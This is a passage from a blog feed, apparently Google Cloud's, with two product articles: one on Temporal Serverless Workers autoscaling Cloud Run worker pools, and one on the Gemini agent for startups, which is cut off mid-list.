requests, so request-driven serverless platforms can be an awkward fit. This often results in running worker fleets on Kubernetes or VMs, which you have to manage and pay for continuously. You build a metrics pipeline and tune autoscaling triggers, and scaling still trails bursts because of metrics lag. Every deployment means juggling upgrades and versions, and you pay for that compute whether or not there's work in the queue.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We built &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/deploy-worker-pools"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run worker pools&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for exactly this kind of pull-based work: Your instances connect to a queue or stream, take the next item, and process it. Starting today, &lt;/span&gt;&lt;a href="https://temporal.io/cloud" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal Cloud&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, which is the fully managed version of Temporal’s open-source platform, can scale them for you. Currently in preview, &lt;/span&gt;&lt;a href="https://docs.temporal.io/serverless-workers" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal Serverless Workers&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; on Cloud Run let you deploy your workers as a worker pool, and Temporal sizes the pool to match the work on your task queues. When there's no work, it can scale the pool to zero. There's no cluster or autoscaler to run, and your worker code stays the same.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;How Cloud Run worker pools fit with Temporal&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;A worker pool is Cloud Run's resource for continuous background work. It has no public endpoint, and each instance is allocated CPU for its whole lifetime, which matches how a Temporal worker runs. Temporal manages your Cloud Run worker pools as follows:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Your Temporal workers run as Cloud Run worker pool instances in your project and poll Temporal Cloud for tasks.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal Cloud tracks your task queues and sets the worker pool's instance count through the Cloud Run Admin API, using the IAM permissions you grant. Temporal never opens a connection to your instances, so you don't need to open ports or add firewall rules for it.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;You run each build version as its own Cloud Run worker pool. An older build's worker pool can sit at zero instances until a workflow that started on it needs it again.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Your Temporal workers run in your project, under your service account, and on your network. Temporal decides how many of them run.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;What you can build with Temporal Serverless Workers&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The combination of Cloud Run worker pools with Temporal Serverless Workers opens up a variety of interesting use cases:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Autoscaled agentic workers:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; AI agents run multi-step chains of LLM reasoning and tool calls. Temporal's durable execution and Cloud Run worker pools work together here. Temporal workers spin up instantly to handle bursts of LLM steps, embeddings or API calls, then scale to zero when the queue empties. Workers get keyless access to Google Cloud AI APIs. You can also attach a GPU for inference, and the workers attached to the GPUs will still scale to zero. Temporal runs each model and tool call as a durable activity; if a worker disappears mid-step, the activity retries on another worker and the workflow continues.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Long-running &lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;Workflows&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;a href="https://docs.temporal.io/workflows" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Temporal Workflows&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; can run indefinitely, allowing for building applications that track the state of real-world resources over long periods of time. This pattern is typically known as the “&lt;/span&gt;&lt;a href="https://docs.temporal.io/design-patterns/entity-workflow%5C" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Entity Pattern&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;,” because the Workflow represents the state of some entity. However, these long-running Workflows don’t usually have consistent compute requirements: Some individual steps are short, some are long, and other times, the Workflow is sleeping, waiting for external input, such as from a human or another system. Cloud Run worker pools provide flexible compute to support this pattern: Individual steps can run for as long as is required, and Temporal will automatically scale down the worker pool when there is no work to be done.&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Bursty batch work:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Worker pools bill only while instances run, so a worker pool that sits idle between batch runs costs nothing while it's at zero instances. For jobs like billing runs or media transcoding, Temporal scales the pool out as batches arrive and back in once the queue drains. Your maximum instance count caps how many instances you pay for. Tasks beyond that capacity wait in the queue rather than being dropped.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Why Cloud Run worker pools for Temporal workers&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Before, running Temporal workers on Cloud Run services took some workarounds:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;an HTTP listener, because services expect containers to listen on a port&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;instance-based billing, so workers kept their CPU between requests&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;minimum instances, so the service didn't scale to zero&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By running Temporal workers on Cloud Run worker pools, you don’t need those workarounds anymore, and you have:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;No endpoint to manage.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; There's no public URL or load balancer to lock down, and no health-check port to implement.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Steady CPU at a lower price.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Instances don't idle or throttle. Cloud Run doesn't remove instances because they look idle, so Temporal alone decides when the pool shrinks. Worker pools list at almost 40% less per vCPU-hour and GB-hour than instance-billed Cloud Run services.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Scaling without revision churn.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Changing the instance count doesn't create a new revision, so Temporal can resize the pool as often as the load changes.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;How Temporal manages scaling and versioning of worker pools&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;decides when to add capacity using one main signal: the delay between a task landing in the task queue backlog and a worker picking it up. If that delay grows, the available workers are saturated. Scaling occurs as follows:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Server-side detection:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The Temporal server tracks this backlog-to-worker latency for each task queue.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Push notification:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; When the latency crosses its trigger conditions, the server sends a push notification to the worker controller instance.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Provisioning:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The worker controller then adds capacity to the worker pool. New instances take time to start and connect before they can poll for tasks, so capacity lags behind the signal.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Because Temporal keeps spare capacity, the pool grows ahead of demand instead of after tasks pile up. Scale-in is more conservative. Temporal waits for a stabilization period after the last time a task found no available worker (90 seconds by default), and it pauses between successive reductions. Cloud Run’s configurable graceful shutdown extends shutdown from 10 seconds to 10 minutes. That gives SIGTERM-aware workers time to finish or checkpoint. The instance count stays between a minimum and a maximum that you set. If the first task after an idle period can't wait for an instance to start, set the minimum above zero.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_Tu66Q25.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Deploying new workflow code without breaking running executions is hard. Temporal workflows are stateful and deterministic, so if you swap their code mid-run, you get non-determinism errors. Serverless Workers on Cloud Run solve this by requiring Temporal Worker Versioning. You don't patch code with conditional branches. Instead, you deploy each Worker Deployment Version as its own worker pool deployment, identified by a &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;deploymentName&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and a &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;buildId&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Using distinct worker pools solves two problems:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Workflows that started on a particular Worker Deployment Version continue to run and complete on that version.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Each Worker Deployment Version is scaled and drained individually, matching compute spend and utilization to the requirements of your application. As existing workflows complete and drain on a previous Worker Deployment Version, the underlying Worker Pool is eventually scaled down to zero automatically.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You set a versioning behavior for each Workflow type, or set a Worker-level default:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;PINNED:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; A workflow stays on the Worker version (Build ID) it started on and finishes there. Best for short-running workflows, order processing and multi-step APIs.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;AUTO_UPGRADE:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; A workflow moves to the new "Current" or "Target" Worker Deployment Version as you roll it out. Best for long-running workflows, such as subscription billing or tasks that run for weeks.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Learn more about configuring worker versioning&lt;/span&gt; &lt;a href="https://docs.temporal.io/worker-versioning" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Get started&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Setup takes three steps:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Containerize your Temporal Worker and deploy the container as a Cloud Run worker pool, with the Build ID in the pool name. Keep credentials such as your Temporal API key in Secret Manager.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Connect Temporal to your worker pool by granting Temporal Cloud permission to manage the worker pool so it can scale it.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Create a Worker Deployment Version in Temporal that points at the pool's project, region, and name.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/2_GCHxzit.gif"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Temporal Serverless Workers on Cloud Run is in preview, so APIs and configuration may change before the stable release. To get started,&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Learn how&lt;/span&gt; &lt;a href="https://docs.temporal.io/serverless-workers/cloud-run" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Serverless Workers on Cloud Run&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; scale and handle versions.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Deploy your first worker with the&lt;/span&gt; &lt;a href="https://docs.temporal.io/production-deployment/worker-deployments/serverless-workers/cloud-run" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;setup guide&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;See&lt;/span&gt; &lt;a href="https://cloud.google.com/run/docs/deploy-worker-pools"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run worker pools&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for CPU, memory, GPU and networking options.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Sign up for the configurable graceful shutdown &lt;/span&gt;&lt;a href="https://forms.gle/ctAU6WDUVwJajx1D7" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;preview&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</guid><category>Application Development</category><category>Cloud Run</category><category>AI infrastructure</category><category>Serverless</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Temporal Serverless Workers on Cloud Run: Scale workers ahead of demand</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/serverless/temporal-serverless-workers-on-cloud-run-worker-pools/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Sagar Randive</name><title>Product Manager</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Aniruddh Chaturvedi</name><title>Engineering Manager</title><department></department><company></company></author></item><item><title>What the Gemini agent means for startups</title><link>https://cloud.google.com/blog/topics/startups/what-the-gemini-agent-means-for-startups/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Small teams, short runway, and constant pressure to ship faster — it’s the reality we see every day among the founders we work with at Google for Startups. When you are building a company from the ground up, every hour spent on operational overhead or infrastructure plumbing is an hour taken away from your core product.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Last week at Gemini at Work 2026, &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;we introduced the Gemini agent&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: a single, universal agent designed to work both as your personal assistant and as a dedicated member of your team. And this week, we made our new frontier model,&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 4 Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, widely available — trained to maintain context across long, multi-step tasks.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Here is a look at how the Gemini agent works, five practical takeaways for founders, and how startups are already using it to punch above their weight.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;What is the Gemini agent?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Instead of prompting separate chatbots for writing, coding, and data analysis, the Gemini agent is a single agent that takes high-level objectives and returns finished work. Three principles define it:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Unified:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; A single agent can now handle knowledge work, data analysis, creative asset generation, and writing and running code. For complex jobs, it dynamically spins up temporary, job-specific sub-agents and coordinates their work in parallel or in sequence.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Omnipresent access:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; It works across the surfaces you use every day — on the web, command line, desktop, and mobile, as well as natively inside Gmail, Docs, Sheets, Slides, Drive, Chat, and Calendar.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Persistent:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; It runs in the cloud with continuous memory across four dimensions (session, semantic, procedural, and episodic). It onboards itself like a new hire — learning your team, tools, and business context so you don't have to re-explain your startup with every prompt, and keeping multi-day tasks moving even after you close your laptop.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For founders wearing five hats at once, Gemini works like a digital chief of staff that's already briefed on your calendar, projects and documents. Ask it to research market trends, build a financial model in Sheets and turn both into a pitch deck, without repeating what the project or goals are at each step. It also works ahead of you. When an investor emails asking for your latest product update as a deck, Gemini spots the request and offers to handle it; one click and it comes back with completed work, ready for sharing or review.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Five takeaways for startups&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;1. Coworker agents and skills help you scale your output&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Beyond personal assistance, you can create persistent &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;coworker agents&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; that work with your entire team. Each agent comes with its own Workspace account, email address, Drive storage, and directory presence. You can define a specific role — such as a launch coordinator, QA triager, or financial analyst — and your teammates can add agents to a Chat space or &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@mention&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; it in a Google Doc comment to delegate work.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You can also equip agents with reusable &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;skills&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; — or let Gemini write skills for itself as it learns your processes. For example, with operational reporting skills connected to BigQuery and the Knowledge Catalog, anyone on your team can ask a plain-language question to build and save a live report. Once saved, those reports run on demand without incurring additional token costs. Gemini also offers pre-built specializations, starting with legal and financial services.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;What it means for startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Coworker agents can immediately increase the capacity of your teams, and skills can standardize repeatable processes like investor and operational reporting without burning tokens on every run.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;2. Open and third-party model choice&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Gemini is the agent, and the model underneath is your choice. As startup architectures mature, sending every task to a single frontier model quickly eats into gross margins. With the Gemini agent, you can dynamically route workloads across Gemini models, third-party models like Anthropic’s Claude, and lightweight open models like&lt;/span&gt; &lt;a href="https://cloud.google.com/blog/topics/startups/why-your-startup-needs-open-models-alongside-frontier-apis"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemma&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;What it means for startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; You get flexibility without lock-in. You can optimize your cost per task — using compact models for high-volume, deterministic jobs and frontier models for complex reasoning — and swap models as your product evolves without rebuilding your workflows.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;3. Connected to your services and tools &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;An agent is only as useful as the systems it can reach. In addition to Google Workspace, the Gemini agent connects directly to your engineering, data, and business stack, including partner solutions:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Development and collaboration:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Git, Slack, Jira and more &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Data and local files:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; BigQuery, Postgres, Snowflake, Databricks, and more alongside files on your desktop&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Custom tools via MCP:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Any Model Context Protocol (MCP) server inside or outside your network so your engineers can build and share internal tools.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;What it means for startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Instead of spending engineering cycles maintaining custom connectors, your team can plug the agent straight into your existing codebase, databases, and MCP tools so it can act on live data wherever it lives.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;4. Built-in security and governance&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For B2B startups, the enterprise security audit is often where deals stall. Under the hood, every agent is assigned a cryptographic &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Agent Identity&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; for clear audit trails, runs inside an isolated sandbox, and protected with built-in prompt injection defenses. External traffic is routed through &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Agent Gateway&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, allowing you to enforce governance policies. And managing coworker agents is as straightforward as managing users today, since they all have a Workspace account.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;What it means for startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; When an enterprise buyer’s CISO asks how your AI workflows handle data privacy, prompt injection, and access control, you have an enterprise-grade architecture ready — helping you clear procurement hurdles.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;5. Protect your runway with real-time cost controls&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Autonomous agents that run sub-agents for hours or days can quickly run up a bill if a loop goes unchecked. You can now set hard, real-time spend caps directly in the Cloud Billing Console; if a cap is reached, the project's agent automatically pauses so a bug never turns into a billing surprise. Underneath, Gemini runs on &lt;/span&gt;&lt;a href="https://cloud.google.com/ai-infrastructure?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google’s specialized AI infrastructure,&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; including our inference-optimized TPU 8i, which delivers 80% better performance-per-dollar than the prior generation.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
